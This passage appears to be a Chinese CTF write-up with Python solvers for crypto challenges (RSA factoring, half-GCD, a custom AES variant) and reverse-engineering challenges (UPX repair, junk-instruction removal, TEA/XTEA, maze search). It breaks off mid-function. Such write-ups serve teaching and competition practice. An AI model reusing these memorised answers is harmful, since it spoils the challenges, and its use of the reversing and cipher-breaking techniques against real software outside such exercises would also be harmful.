    207485265608553973031638961376379316991, 126241934830164184030184483965965358511, 20250852993510047910828861636740192486,
    103669039044817273633962139070912140023, 97337342479349334554052986501856387313, 159127719377115088432849153087501377529,
    45764236700940832554086668329121194445, 35275004033464216369574866255836768148, 52905563179465420745275423120979831405,
    17032180473319795641143474346227445013, 29477780450507011415073117531375947096, 55487351149573346854028771906741727601,
    121576510894250531063152466107000055279, 69959515052241122548546701060784004682, 173839335744520746760315021378911211216,
    28266103662329817802592951699263023295, 194965730205655016437216590690038884309, 208284966254343254016582889051763066574,
    137680272193449000169293006333866420934, 250634504150859449051246497912830488025, 124228075953362483108097926850143387433,
    232956176229023369857830577971626577196, 149441784891021006224395235471825205661, 118758326165875568431376314508740278934,
    222296215466271835013184903421917936512, 49132466023594939909761224481560782731, 406286678537520849308828749751513339,
    215122152883292859254246948661946520324, 81283590250399459209567683991648438199, 150395133067480380674905743031927410663,
    5710878479977467762548400320726575491, 83627753774286426170934105100463456109, 164968224377869331545649899270867630850,
    241057183685774160581265732812497247167, 109136287048010096863680430193408099828, 116313129605409961931811582899075031153,
    202739016625709380026000805340243458300, 25408225921774957745573142542576755590, 151336258796933656160956289529558246702,
    2947189044370494063643525166023973095, 228678413963736672394976193093568181979, 40627063032321835707220414670018641024,
    55446789315226949622969082042881319148, 32219108726651509070669836923591948459, 134454924722414419191920784435633637634,
    97952023967728640730045857104376826039, 20659076942504417479953787092276592682, 93281761173713729777326842152860901050,
    133634773495582264000160065317239987936, 79976720152435218818731114555425458470, 234654694673289327542859971371886984118,
    51332273108989067644245919615090753756, 134120280423303717489979349737802826605, 182001158305920226320085758522717203725,
    98408798757865562737462169470346158516, 78200435603900368619334272308272773797, 232796357836930341547987600782979821555,
    589106968861493082018132081244848952, 24186003230092331554886767628744415123, 236070626491251466741246103662922841423,
    238699080882667864827094121849090696547, 141659873734297659078160283051728812410, 228977113517120063860252637394240795552,
    236613527842969921794004708284265628300, 145522034982744654991661857596541755396, 249608374387044047328725156440984678776,
    325110572051913836681821746093704556, 171492052199838424502681030556098576483, 156498865212994371079795360268866413702,
    196747701509389071931992996873572785043, 70811811603137896158765356680364490781, 83672551582385607422240464086955462541,
    117961603623637997457153763936550310698, 224448821395214505399297116719025174412, 4598815373009554321735225938200807251,
    194892269604260726530091473301914449005, 127484628022155760909820605666827662175, 208706240846212140439291547368645656474,
    14102286481104997303651684152195298336, 6129503335471304345451795609683770657, 103799668048593149396277157385628834185,
    185813375481410513002496683918106238351, 233491689316882978147517340230794025796, 46274083097168831187719988888816378961,
    119487551553664772614629936285345836934, 84340029922118279362389419277915602509, 88253743193124528032223101368846247085,
    227895357640018330099501504941388167432, 92189947144174433744195727086236905626, 83114957902192791332190922428847199876,
    173535754090441937731619031520699325122, 192309407933789484835602071782330798398, 255421921600128994923738650157598053776,
    155535082468314012733563336837641958625, 49064798421022327310707074253263463055, 161216416471071644769301963857685054031,
    252480348817188872515008985698620059851, 75854882798183185741756645038434215611, 256065006192683011190132982128640682537,
    87507510173514424105732562474643251223, 163309795132131534875147566536485288212, 253583084320404985699510129361746869059,
    253300112521651972637580307326576568313, 239027717080729650738678032571840680727, 117444657686971615526398894470673026034,
    215470942802874046857958621181684551426, 58767098748728136687851735836323448020, 249357164697409977883764098879705065535,
    174705348385893117518084017669958647345, 211108767177375215605155301209259781232, 57829566748907062397366819001461941421,
    88265742700024922112974862134385921564, 80952107622167923709226013231566882261, 236078582132483864916117213281193714198,
    193448482646563141692726575550417225891, 245972799166806058223048506073553726233, 10132977708896091601871557249244373666,
    201785418152654519825849206312616081028, 15169816744048531212384271865884567710, 122545328290385950043826822277924297182,
    202918646192255177261567701479991753600, 32696887488223731055835744711207261936, 88319352182963224921157305627381030375,
    92381505322264045777004475690398861771, 189745654013352563126968415157143821842, 152254915005998949299817641843658795579,
    198032433618991362619448347415342295581, 84073892809321676935569114878067118319, 82243805869584256211699602267760745768,
    61994229948266781537191603999495995852, 253668765227759797787675352833142466255, 38865376724677211964966907748953557125,
    134615436811268347303232550777225944929, 176932422465426107783498083830285780588, 207573742393618910694054452362826628208,
    200033130835394442710748301293534928706, 127536063935293533700918451145963158658, 219125698281820710910675956971948816959,
    179795893258398750139395156587561075767, 69649628109726874051635160004398498964, 241433717681314766463039563422535023524,
    202664264135718511331695232476272832350, 205151096657425932591242432052912914182, 210305712465948130683966275157181140301,
    196555690055906934925300527324955477733, 66817932643964538216259564711698986077, 95270796440975607179107356182889534333,
    123226880424532374188134357659879826495, 53506495440223773538415807620524749240, 19253217887083870834249774316467647628,
    165699356396365023442008488156823647206, 107809175498119862854792975070673056027, 250453989887421415931162217952559757164,
    171492052199838424502681030556098576483, 133778166882550119563444625306816232463, 149009301604122447269581792013291889175,
    9982418254629616281350713836647603294, 203486292122499140756846060502464655972, 157686696123400087437836943220926921848,
    88338919773540412238116717043122711811, 113265824169274322024623493892867211478, 5549372099744960679418616304893848801,
    12431828907518852062050349123660880165, 183957934738536914983862053251433028750, 42027289270308356303682029801998790750,
    117406080036483925915502666019795783905, 154312255292300186042636734144948304054, 143706917273862261295046346995206133170,
    50088136095338601440516112338120787526, 250634504150859449051246497912830488025, 8073010289877796888705519374892639903,
    40049582814576788803483039836229025416, 227012342545923833983403067401561291645, 201776603581414625783054400184026088994,
    55474945478884522762318445841998187357, 221515530211550293408010846844218019597, 172650752042211610909190315288155597255,
    67046194931321172530462444254204111483, 207435868835185636819659137800256834557, 188063222224545200294767050268070647452,
    58099349021260301211275261896736590564, 23598877596106927870697531042828774738, 58546308516383335224739442370238545000,
    58125311541947998710088435169901475101, 238219925698115060748249043752036454438, 203910234934340893915761800653823457631,
    190854889967769152565565000250829375099, 37573623890629846209257307181880876288, 226220240200270623843038279593586687278,
    144246075981535671790438155977352345487, 14665770553338784222331493932533448756, 37992062606775322664977502677838074649,
    47370175759976523832233910009306151684, 97047813247943880266351445874642842468, 237607444658797800072728280983357541134,
    174853113478993738890584814806707459112, 17104608155861584438824639050715857607, 83639027011494777283064583268678718843,
    237826165608708003941944469905843354705, 231707683915242052796886276983724691027, 146089830852925550139294146760718642221,
    25604562707667550478623425477029052785, 108577663147976992047614498924706939204, 69040319834829375335287614995435269276,
    169933229202934375632745753379104389929, 72693008284867494808267387710985847974, 158548279589965576940349068403862889270,
    49458101234256610254825879149914255140, 24389558269688411084589654047215902968, 210567980379246548727819953025607019254,
    110423375132252997825868399832298953831, 109589895677661968369424757992411668628, 66177577069199763925999718357846633613,
    83602293803708828242273186265396676466, 172226271050176278536911356541786290551, 85799805809703976643034084477579915867,
    179399990302447560847151603157937241688, 81687654752229170984692833277072534294, 160766441640281044008645821822296569868,
    100306680611749750243920501921769642984, 42195187332833922597871030332905266026, 238918420772178508359295233180536910768,
    221685929158944699801776621298532178665, 209349638787804999657456057184702655805, 183953393268431043006359511952782903516,
    137364333131365794683132159746962959967, 15637689373906596015395350692459218048, 145956368418289159411911667337899986262,
    197987711355277581048877821432652325207, 125421308989313724733467092345532539875, 90525081516582408488547894471421476595,
    107405840115256692042814887586009104950, 71587500700172519801649824611045199280, 10155721246869986043302768283257682883,
    100522792569358427133597834727509523742, 244473925018526409824670892423775482110, 50746138425761666610345252577572889037,
    142188269919422432629363225167297071042, 8235113926890598897465093754260801947, 174540885017405784646782293055852044631,
    171949847901434672429841435895697323702, 34391199559497599434575002007581170988, 7337868660819385932166025474594964373,
    89608475952042154068811282935241824949, 162561097613906905390170334328135062933, 252566077272083954707900007055640560669,
    4284637988579219107997224848114896904, 220026371387782427901244689037957398829, 86019060485320999498155965142619258089,
    19304861731281576405798605142335886482, 123188238667151068575810494833929221938, 125089740978532716086813732154638565196,
    252061524500088702951562270741214799294, 89528875472312768404823823905699760649, 63307407053590054220492282094909190524,
    24389558269688411084589654047215902968, 43835777110183833958990705735152973942, 196543204310466258426232803779025620993,
    225032412767857179129234169288824097261, 50292890880286260984317361296226049436, 64928956886509273090981701066528078331,
    25408225921774957745573142542576755590, 235921667882292842303120860570747218086, 217132603855089441017750752624514343437,
    11106129204256119599329380588789107048, 147501327490657927610543345089238991876, 158091159632919983870444592039392730373,
    254215886971254771885657857148535673338, 129869106474614345624950211566868568809, 10425702332274469498479699675668087022,
    136595953187315682777976356839442311764, 1607792140397737044118662059498732982, 23710000155612873207506044342091514799,
    118571340370877720354330132780832828911, 194624784476702188629452374731837038856, 51332273108989067644245919615090753756,
    24092104340528851160365826273938845156, 158670188709175825212687487436006138030, 133641825913283256858340618209700716053,
    43054466484232130048301271684438593412, 20361972967806283315536154125012604660, 135700832615866572032111395529532615300,
    160609169788639387827865051539103507016, 100576279475451993660766480883708996211, 215424685541583305069271024253690375127,
    60018956375784961551937423504137141702, 107997941230633604720421526632224279451, 219482010609171816035007605036664317041,
    22173526221024380740269311947729076493, 249746554302052221287371350978970766087, 93207359085331319264650563354951254906,
    221421697282310997113867048083058096452, 61834092635779365101011109381392037516, 162215218701897689647766394615098617152,
    141856131587452385513407955541400099703, 177910903795887762773545874929605680469, 228832704523723308335513552177377803295,
    229427981969125094398744034150988525118, 217938760689082034514008764751385239765, 3238055163645731541423094980789895030,
    42308449860804765793467328093112118974, 254764518926620089428032312378507653680, 215733901156118606036318409454786603209,
    59640829345183339336712595595022506261, 33515071724475649656070325837411550208, 51175659069843551646353202764296812462,
    211462959696081863041546889096760952490, 230559603938699838189391087728971115767, 85878911733601049548471257838175175563,
    214134904074265214033878852207103328297, 160702405980652445507529591230654474171, 223755040649990285320102091954198427148,
    166476753890268002826149533120107157745, 26283916639129998224675164834425763384, 232971495542024495583092055361321729894,
    79741799146769724681649849525636816379, 228506526471280046809909301748098760369, 167502422063741368765891061653686283332,
    26984184590668253713951516794937308166, 105952393031190074432183821281493254, 113823192955281698937767041115166174652,
    93264047694114869263275726820602569731, 55481974783112950660682138071588408040, 108961894273530837550182447112767144669,
    47975793549419083945738147934068241928, 204024371586357035343484206754422857590, 251859351272989525849999231358507018068,
    75939709807860493804628805619699991501, 129031774446142139804436921156668129187, 110764318451937254261883856778359218969,
    246404864722813298477426808193494673610, 153818236564405157581869620439634140065, 246125932167584353084676586883038397451
]


exponent = (p - 1) // 2
symbol_for_zero = pow(a, exponent, p)
binary_flag = ""
for c in ciphertext:
    current_symbol = pow(c, exponent, p)
    if current_symbol == symbol_for_zero:
        binary_flag += '0'
    else:
        binary_flag += '1'

flag_bytes = b''
for i in range(0, len(binary_flag), 8):
    byte_str = binary_flag[i:i+8]
    flag_bytes += long_to_bytes(int(byte_str, 2))

print(f"Flag: {flag_bytes.decode('utf-8')}")

happyRSA

from Crypto.Util.number import long_to_bytes
import gmpy2


n = 128523866891628647198256249821889078729612915602126813095353326058434117743331117354307769466834709121615383318360553158180793808091715290853250784591576293353438657705902690576369228616974691526529115840225288717188674903706286837772359866451871219784305209267680502055721789166823585304852101129034033822731
e = 65537
c = 125986017030189249606833383146319528808010980928552142070952791820726011301355101112751401734059277025967527782109331573869703458333443026446504541008332002497683482554529670817491746530944661661838872530737844860894779846008432862757182462997411607513582892540745324152395112372620247143278397038318619295886
x = 522964948416919148730075013940176144502085141572251634384238148239059418865743755566045480035498265634350869368780682933647857349700575757065055513839460630399915983325017019073643523849095374946914449481491243177810902947558024707988938268598599450358141276922628627391081922608389234345668009502520912713141


# n_phi^2 + n_phi + (1 - x) = 0
delta1 = 4 * x - 3
n_phi = (gmpy2.isqrt(delta1) - 1) // 2

print(f"n_phi: {n_phi}")


# S = p + q = n_phi + 1
S = n_phi + 1
# p和q是方程 z^2-Sz+n=0 的根
# z = (S+/-sqrt(S^2-4n))/2
delta2 = S*S - 4*n
sqrt_delta2 = gmpy2.isqrt(delta2)

p = (S + sqrt_delta2) // 2
q = (S - sqrt_delta2) // 2

print(f"p: {p}")
print(f"q: {q}")
assert n == p * q



phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
m = pow(c, d, n)
flag = long_to_bytes(m)

print(f"Flag: {flag.decode()}")

ezHalfGCD

import gmpy2
from Crypto.Util.number import long_to_bytes
from math import comb

e = 11
n = 31166099657280475125475535365831782783093875463247358362475188588947278779261659087382153841735341294644470135658242563894811427195085499234687959821014213884097144683916979145688501653937652132196507641706592058541461494851978378234097501450088696202067780458185699118745693112795064523774316076900622924515043087514299819363383005261432426124907190050031873969718731577577610423430342011833399812571330259167141343053584093492407110726050289284883569075898031613703838488237576756303655189545592872431914967027530453720947545137077577544615857606624432667091058064432254815560483584621525418467954592836937243988243
enc_d = 13808910452602719582082356538103809869422886228259509560372242093772427733416618401205696740074353028623820317050192627491660359558892392153999532272857339481298482802886251848703046960504786528793589170539584003383632027476914361574273144291330585735179166690513545471901763697269194228467287645573188775899890375853801796593582850975578804671547453457528686518397397234277841944184055117669277697362945463508844599947716337314398521363079749738943908860398843430518505690528296941997988869732759053587554475692300841912141199296010163641185664377742397777941968394746150611710777000625916609542525700860321528867212
enc_phi = 7712799451523923934297438340493818709638100911475880659269081521797448094000671886662453371669377561442768781648787281763679814952312810588749220640616349121013802986627369725105748412428708271146640375251603852154891826036699121824706508396445679193881511426962350499448921650925902083009038656420224517990418144263810608916613943703387804258988710100695100014625921151006914635066745373266932452264209581055597451243351753611834270245107587926127995770837997657200564139159783438755362906511732933456755615781562673235575025697927723044975521898510169824612319133648292886516647301360818651593931313229819219102145
enc_flag = 894510730103475572849584456948777906177928458037601077973815297094718207962800841050676989919558783959100151883021776468599378605624814726543232609670826195546342526501910728018180564277901156145145431115589678554941920392777979439329210254339330200637295639957614541733453280727879958971862238162005775966684182859139832583501267115086918765938983728386252082360729694525611252282765144977858082339098241367689924035089953114271269967974794791094625994785638389602317004891381734713155429498571328372671258967340771255624802290579938944569672935599910907961053536945947262426210286500553262856689698523083914877686



def poly_trim(p):
    while p and p[-1] == 0:
        p.pop()
    return p

def poly_mul(p1, p2, mod):
    deg1, deg2 = len(p1) - 1, len(p2) - 1
    new_poly = [0] * (deg1 + deg2 + 1)
    for i in range(deg1 + 1):
        for j in range(deg2 + 1):
            new_poly[i + j] = (new_poly[i + j] + p1[i] * p2[j]) % mod
    return poly_trim(new_poly)

def poly_divmod(a, b, mod):
    a, b = list(a), list(b)
    if not b:
        raise ZeroDivisionError
    deg_a, deg_b = len(a) - 1, len(b) - 1
    if deg_a < deg_b:
        return [0], a
    
    q = [0] * (deg_a - deg_b + 1)
    lead_b = b[-1]
    try:
        inv_lead_b = gmpy2.invert(lead_b, mod)
    except ZeroDivisionError:
        factor = gmpy2.gcd(lead_b, mod)
        return (factor, None)

    while deg_a >= deg_b:
        lead_a = a[-1]

        coeff = (lead_a * inv_lead_b) % mod
        deg_diff = deg_a - deg_b
        q[deg_diff] = coeff

        for i in range(deg_b + 1):
            a[deg_diff + i] = (a[deg_diff + i] - coeff * b[i]) % mod
            
        a = poly_trim(a)
        deg_a = len(a) - 1
        
    return poly_trim(q), a

def poly_gcd(a, b, mod):

    while b:
        res, rem = poly_divmod(a, b, mod)
        if rem is None:
            return res
        a, b = b, rem
    return a

# 构造多项式 P1(x) = x^e - enc_d

P1 = [-enc_d % n] + [0] * (e - 1) + [1]

flag_found = False
for k in range(1, e):
    print(f"k = {k}")
    
    # 构造多项式 P2(x) = (e*x - 1)^e - enc_phi * k^e
    # 使用二项式定理展开 (e*x - 1)^e
    # (a+b)^n = sum(C(n,k) * a^k * b^(n-k))
    # a = e*x, b = -1
    P2 = [0] * (e + 1)
    for i in range(e + 1):
        # x^i 项的系数是 C(e, i) * (e^i) * (-1)^(e-i)
        coeff = (comb(e, i) * pow(e, i, n) * pow(-1, e-i, n)) % n
        P2[i] = coeff
    
    # P2(x) = P2(x) - enc_phi * k^e
    P2[0] = (P2[0] - (enc_phi * pow(k, e, n)) % n) % n

    # 计算 GCD,看是否能找到 n 的因子
    result = poly_gcd(list(P1), list(P2), n)

    # 检查结果。如果它是一个整数,那就是 n 的因子
    if isinstance(result, int) or isinstance(result, gmpy2.mpz):
        p = result
        if 1 < p < n:
            q = n // p
            if p * q == n:
                phi = (p - 1) * (q - 1)
                d = gmpy2.invert(e, phi)
                print(f"d: {d}")
                
                m = pow(enc_flag, d, n)
                flag = long_to_bytes(m)
                print(f"Flag: {flag.decode()}")
                flag_found = True
                break
            else:
                print("error")
    else:
        # 如果 GCD 是一次多项式 a*x + b,根是 -b/a
        g = poly_trim(result)
        if len(g) == 2: # 一次多项式
            b0, a1 = g[0], g[1]
            try:
                inv_a1 = gmpy2.invert(a1, n)
                d = (-b0 * inv_a1) % n
                if pow(d, e, n) == enc_d:
                    print(f"d: {d}")
                    m = pow(enc_flag, d, n)
                    flag = long_to_bytes(m)
                    print(f"Flag: {flag.decode()}")
                    flag_found = True
                    break
            except ZeroDivisionError:
                pass # 这个系数不可逆,说明我们又找到了一个因子
                
if not flag_found:
    print("error")

Ledengre_revenge

10轮加密,用了aes,可以写出逆,注意索引变换

from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Cipher import AES

p = 251
e = 65537
p_ = 71583805456773770888820224577418671344500223401233301642692926000191389937709
key_pow = 1679283667939124174051653611794421444808492935736643969239278575726980681302
text_sq = 26588763961966808496088145486940545448967891102453278501457496293530671899568
a = [[239, 239, 251, 239], [233, 227, 233, 251], [251, 239, 251, 233], [233, 227, 251, 233]]
lis0_given = [[341, 710, 523, 1016], [636, 366, 441, 790], [637, 347, 728, 426], [150, 184, 421, 733]]
lis1_given = [[133, 301, 251, 543], [444, 996, 507, 1005], [18, 902, 379, 878], [235, 448, 836, 263]]

def function(x, pp):
    y = 0
    if x >= pp:
        y = x
    elif pow(x, (pp - 1) // 2, pp) == 1:
        y = pow(x, 2, pp)
    else:
        y = pow(x, 3, pp)
    return y

#预计算逆
reverse_251 = [[] for _ in range(256)]
for x in range(256):
    y = function(x, 251)
    if y < 256:  # ensure
        reverse_251[y].append(x)
unique_ps = {227, 233, 239, 251}
reverse_a = {}
for pa in unique_ps:
    rev = [[] for _ in range(256)]
    for x in range(256):
        y = function(x, pa)
        if y < 256:
            rev[y].append(x)
    reverse_a[pa] = rev

#爆破key
key = None
for k in range(1 << 16):
    if pow(k, 2 * e, p_) == key_pow:
        key = k
        break
print(f"Found key: {key} (binary: {bin(key)[2:].zfill(16)})")

#AES key
aes_key_bytes = long_to_bytes(key << 107)
cipher = AES.new(aes_key_bytes, AES.MODE_ECB)

def tonelli_shanks(n, pp):
    if n == 0:
        return 0
    leg = pow(n, (pp - 1) // 2, pp)
    if leg != 1:
        return None
    q = pp - 1
    s = 0
    while q % 2 == 0:
        q //= 2
        s += 1
    z = 2
    while pow(z, (pp - 1) // 2, pp) != pp - 1:
        z += 1
    m = s
    c = pow(z, q, pp)
    t = pow(n, q, pp)
    r = pow(n, (q + 1) // 2, pp)
    while True:
        if t == 0:
            return 0
        if t == 1:
            return r
        i = 1
        t2 = pow(t, 2, pp)
        while t2 != 1:
            t2 = pow(t2, 2, pp)
            i += 1
        if i == m:
            return None
        b = pow(c, 1 << (m - i - 1), pp)
        m = i
        c = pow(b, 2, pp)
        t = (t * c) % pp
        r = (r * b) % pp

#求平方根
sqrt_r = tonelli_shanks(text_sq, p_)
if sqrt_r is None:
    print("No square root found, error")
    exit(1)
r1 = sqrt_r
r2 = p_ - sqrt_r
candidates = [r1, r2]

def reverse_half(current_text, lis_given):
    current = bytearray(current_text)
    for round_num in range(9, -1, -1):
        bit_pos = 9 - round_num
        enc_list = []
        multiple_positions = []
        has_multiple = False
        for row in range(4):
            for col in range(4):
                k = row * 4 + col
                y = current[k]
                pa = a[row][col]
                thresh = pa // 2
                bit = (lis_given[row][col] >> bit_pos) & 1
                possible_x = [x for x in reverse_a[pa][y] if (x > thresh) == (bit == 1)]
                possible_z = set()
                for x in possible_x:
                    possible_z.update(reverse_251[x])
                if not possible_z:
                    return None
                possible_z = list(possible_z)
                enc_list.append(possible_z)
                if len(possible_z) > 1:
                    has_multiple = True
                    multiple_positions.append((k, possible_z))
        
        if has_multiple:
            return None
        else:
            enc_bytes = bytearray([lst[0] for lst in enc_list])
            prev = cipher.decrypt(enc_bytes)
            current = bytearray(prev)
    return bytes(current)

flag = None
for r in candidates:
    full = long_to_bytes(r)
    if len(full) < 32:
        full = b'\x00' * (32 - len(full)) + full
    if len(full) != 32:
        continue
    text0 = full[:16]
    text1 = full[16:]
    flag0 = reverse_half(text0, lis0_given)
    if flag0 is None:
        continue
    flag1 = reverse_half(text1, lis1_given)
    if flag1 is None:
        continue
    flag_candidate = flag0 + flag1
    print(f"{flag_candidate}")

reverse

speed

动态调试在creatwindow下断点,单步调试,flag在window上,照抄即可

base

标准base64,直接解码即可

catch

nop掉exception即可

upx

upx脱壳,简单异或加密,注意输入的最后是换行符,因此可以倒推:

v6 = [
    35, 43, 39, 54, 51, 60, 3, 72, 100, 11,
    29, 118, 123, 16, 11, 58, 63, 101, 118, 41,
    21, 55, 28, 10, 8, 33, 62, 60, 61, 22,
    11, 36, 41, 36, 86
]

flag_chars = [0] * 35
next_char = 10

for i in range(34, -1, -1):
    current_char = v6[i] ^ 0x21 ^ next_char
    flag_chars[i] = current_char
    next_char = current_char
flag = ''.join(chr(c) for c in flag_chars)
print("Flag:", flag)

ez3

本来爆破出来了一个,但是交上去不对,后来才发现有多解,于是把每个位置所有可能值都打印出来看看哪个符合flag格式

def cpp_srem(a, n):
    if n == 0:
        return a
    rem = a % abs(n)
    if a < 0:
        return -rem
    return rem

def find_all_solutions():
    a = [
        0xB1B0, 0x5678, 0x7FF2, 0xA332, 0xA0E8, 0x364C, 0x2BD4, 0xC8FE,
        0x4A7C, 0x18, 0x2BE4, 0x4144, 0x3BA6, 0xBE8C, 0x8F7E, 0x35F8,
        0x61AA, 0x2B4A, 0x6828, 0xB39E, 0xB542, 0x33EC, 0xC7D8, 0x448C,
        0x9310, 0x8808, 0xADD4, 0x3CC2, 0x796, 0xC940, 0x4E32, 0x4E2E,
        0x924A, 0x5B5C
    ]

    all_options = [[] for _ in range(34)]
    for i in range(34):
        b_prev = a[i - 1] if i > 0 else 0
        for char_code in range(32, 127):
            if i == 0:
                calc_val = 47806 * char_code
            else:
                calc_val = (47806 * (char_code + i)) ^ b_prev ^ 0x114514
            b_i = cpp_srem(calc_val, 51966)
            if b_i == a[i]:
                all_options[i].append(chr(char_code))
    flag = ""
    for i, options in enumerate(all_options):
        print(f"位置 {i:02d}: {options}")
        if options:
            flag += options[0]
        else:
            flag += "?"
    print(f"moectf{{{flag}}}") #这个是根据所有第一个候选值拼接出来的,不一定对


if __name__ == '__main__':
    find_all_solutions()

flower

只有一句需要处理的花指令,je,jne相当于必定跳转,于是下面导致静态分析出问题的jmp可以直接nop掉,之后分析算法,发现给的key解出来是乱码,猜测会修改key,由于key只有一字节,爆破即可

def solve(key):
    enc = [
        0x4F, 0x1A, 0x59, 0x1F, 0x5B, 0x1D, 0x5D, 0x6F, 0x7B, 0x47, 0x7E,
        0x44, 0x6A, 0x07, 0x59, 0x67, 0x0E, 0x52, 0x08, 0x63, 0x5C, 0x1A,
        0x52, 0x1F, 0x20, 0x7B, 0x21, 0x77, 0x70, 0x25, 0x74, 0x2B
    ]
    initial_key = key
    content_chars = []
    for i in range(len(enc)):
        current_key = initial_key + i
        encoded_value = enc[i]
        original_char_code = encoded_value ^ current_key
        content_chars.append(chr(original_char_code))
    content = "".join(content_chars)
    flag = f"moectf{{{content}}}"
    return flag

if __name__ == '__main__':
    for i in range(0x100):
        flag = solve(i)
        print(i,flag)

A cup of tea

tea加密

import struct

def decrypt(v, k):
    v0, v1 = v
    delta = 0x114514
    s = delta * 32
    for _ in range(32):
        v1 -= (((v0 << 4) + k[2]) ^ (v0 + s) ^ ((v0 >> 5) + k[3])) & 0xFFFFFFFF
        v1 &= 0xFFFFFFFF
        v0 -= (((v1 << 4) + k[0]) ^ (v1 + s) ^ ((v1 >> 5) + k[1])) & 0xFFFFFFFF
        v0 &= 0xFFFFFFFF
        s -= delta
        s &= 0xFFFFFFFF
    return [v0, v1]

key = [289739801, 427884820, 1363251608, 269567252]
cipher = [
    2026214571, 578894681, 1193947460, 
    -229306230 & 0xFFFFFFFF, 73202484, 961145356, 
    -881456792 & 0xFFFFFFFF, 358205817, -554069347 & 0xFFFFFFFF, 
    119347883
]
cipher_blocks = [cipher[i:i+2] for i in range(0, len(cipher), 2)]
decrypted_flag = b""
for block in cipher_blocks:
    decrypted_block = decrypt(block, key)
    decrypted_flag += struct.pack('<LL', decrypted_block[0], decrypted_block[1])
print(decrypted_flag.decode('utf-8').strip('\x00'))

ezpy

丢给PyLingual,可得py源码:

def caesar_cipher_encrypt(text, shift):
    result = []
    for char in text:
        if char.isalpha():
            if char.islower():
                new_char = chr((ord(char) - ord('a') + shift) % 26 + ord('a'))
            elif char.isupper():
                new_char = chr((ord(char) - ord('A') + shift) % 26 + ord('A'))
            result.append(new_char)
        else:
            result.append(char)
    return ''.join(result)
user_input = input('please input your flag:')
a = 1
if a != 1:
    plaintext = user_input
    shift = 114514
    encrypted_text = caesar_cipher_encrypt(plaintext, shift)
    if encrypted_text == 'wyomdp{I0e_Ux0G_zim}':
        print('Correct!!!!')

凯撒密码,shift为114514,cyberchef一把梭

mazegame

迷宫题,能直接提取字符串迷宫,bfs即可(所以为什么flag不对路径做一下哈希,也太长了吧)

import collections

def solve():
    maze_data = [
        "11111111111111111111111111111111111111111111111111111111",
        "10100000000000000010000011011101011111111101011100000111",
        "10111010111111111010111011000001000001000001000101110111",
        "10000010000010000010001011011111111101110111011101110111",
        "10111111111011101110111011010000000000010100010001110111",
        "10100000001000101000100011010101111111011101110101110111",
        "10101011111110111011101011010101000001000000010101110111",
        "10101010000010100000101011110101110101111101111111110111",
        "10111010111010101111101011100101000100000101000101110111",
        "10000010001010001000001011001111011111010101011101110111",
        "11111011101011111011111111101000100000101100101001110111",
        "10001010001000100010000010001010011000100010010011000001",
        "10111010111110101010111011011001011111010101011101011101",
        "10001010001000001010001011000101000100000101000101011101",
        "11101011101111111011101011110101110111111101110101011101",
        "10001000101000001010001011000100010100000101000101011101",
        "10111111101011101110111011011111110101110111011101011101",
        "10001000001000100000001011000100000100010000000101011001",
        "11101011111011111111101011110101111101111111110101011011",
        "10101000000010001000101011010100000001000100010101011011",
        "10101111111110101010101011010111111111010101010101011011",
        "10100000000000100010101011010000000000010001010101011011",
        "10111111111111111110111011011111111111111111011101011011",
        "10000000001111000000000011110111010000111100011111011011",
        "11101111100000011011011111111010110111011101100001011011",
        "11101111111111111011011111111101110111101101100001011011",
        "10001000111111000010000011111010110111011101100001011011",
        "10111010111111111010111011110111010000111101100001010011",
        "10000010000010000010001011111111111111111101100001010111",
        "10111111111011101110111011110001000110001101100001010001",
        "10100000001000101000100011110111011101111101100001011101",
        "10101011111110111011101011110001000101111101100001011101",
        "10101010000010100000101011111101011101111101100001011101",
        "10111010111010101111101011110001000110001101100001011101",
        "10000010001010101000001011111111111111111101100001011101",
        "11111011101011111011111110000000000000001101100001011101",
        "10001010001000100010000011111111111111111100110011011101",
        "10111010111110101010111010010000000011111110001111011101",
        "10001010001000001010001010110111000001111110100101011101",
        "11101011101111111011101000110011001111111100110111011101",
        "10001000101000001010001011111111111111111111110111010001",
        "10111111101011101110111010100001001100000000000011011011",
        "10001000001000100000001011111111111101011101111001011011",
        "10101011111011111111101011000000000001000100010111011011",
        "10101000000010001000101010010111111111111111111111011011",
        "10101111111110101010101010110111111111111111111101011011",
        "10100000000000100010101011100000000000000000000011011011",
        "10111111111111111110011011111111111111111111111011011011",
        "10000011111111111111000010000000000000000000000000011001",
        "11111011111111111111111111111111111111111111111111111101",
        "11111011100001100110110111000000000000000000000111111101",
        "11111011101111011010000111011111111111111111110111111101",
        "11111011100001000010110110000111111111111111110000000001",
        "11111011101111011010110111101111111111111111111111111111",
        "11110000000000011000110000000000000000000000000000000011",
        "11111111111111111111111111111111111111111111111111111111",
    ]
    padded_maze = [row.ljust(56, '1') for row in maze_data]
    start_pos = (1, 1)   # (y, x)
    end_pos = (15, 32) # (y, x)
    height = 56
    width = 56
    queue = collections.deque([(start_pos[0], start_pos[1], "")])
    visited = {start_pos}

    while queue:
        y, x, path = queue.popleft()
        if (y, x) == end_pos:
            return path
        moves = {
            'D': (y, x + 1),
            'S': (y + 1, x),
            'A': (y, x - 1),
            'W': (y - 1, x),
        }
        for move_char, (next_y, next_x) in moves.items():
            if 0 <= next_y < height and 0 <= next_x < width:
                if (next_y, next_x) not in visited and padded_maze[next_y][next_x] == '0':
                    visited.add((next_y, next_x))
                    new_path = path + move_char
                    queue.append((next_y, next_x, new_path))
    return "None"

if __name__ == '__main__':
    solution_path = solve()
    print("path:")
    print(solution_path)

upx_revenge

附件中的1.exe打不开,用cff加载发现file size比pe size少了4byte,用ida打开发现start函数前面4个push被吞了,所以缺失的4字节在upx0区段前,观察upx头,有版本号4.24但是没有魔数UPX!,并且4.24后紧跟的0D 24 02 08是upx压缩方法,所以缺失的4字节正好是UPX!,插入UPX!保存,能成功upx -d,拖进ida,发现是base64+异或,直接解即可

import base64

cipher = r"lY7bW=\ck?eyjX7]TZ\}CVbh\tOyTH6>jH7XmFifG]H7".encode('latin1')


b64_bytes = bytes([b ^ 0x0E for b in cipher])
print("b64 string:", b64_bytes.decode('latin1'))
plain = base64.b64decode(b64_bytes)
print("bytes:", plain)

Two cups of tea

xtea+xxtea

import struct

def U32(x):
    return x & 0xFFFFFFFF

def F(param_A, param_B, sub_key, round_const):
    term1 = U32((param_A << 4) ^ (param_B >> 3))
    term2 = U32((param_A >> 5) ^ (param_B << 2))
    term3 = U32(round_const ^ param_B)
    term4 = U32(sub_key ^ param_A)
    return U32(U32(term1 + term2) ^ U32(term3 + term4))

def encrypt(plain_dwords, key):
    s = [U32(c) for c in plain_dwords]
    round_sum = U32(0)
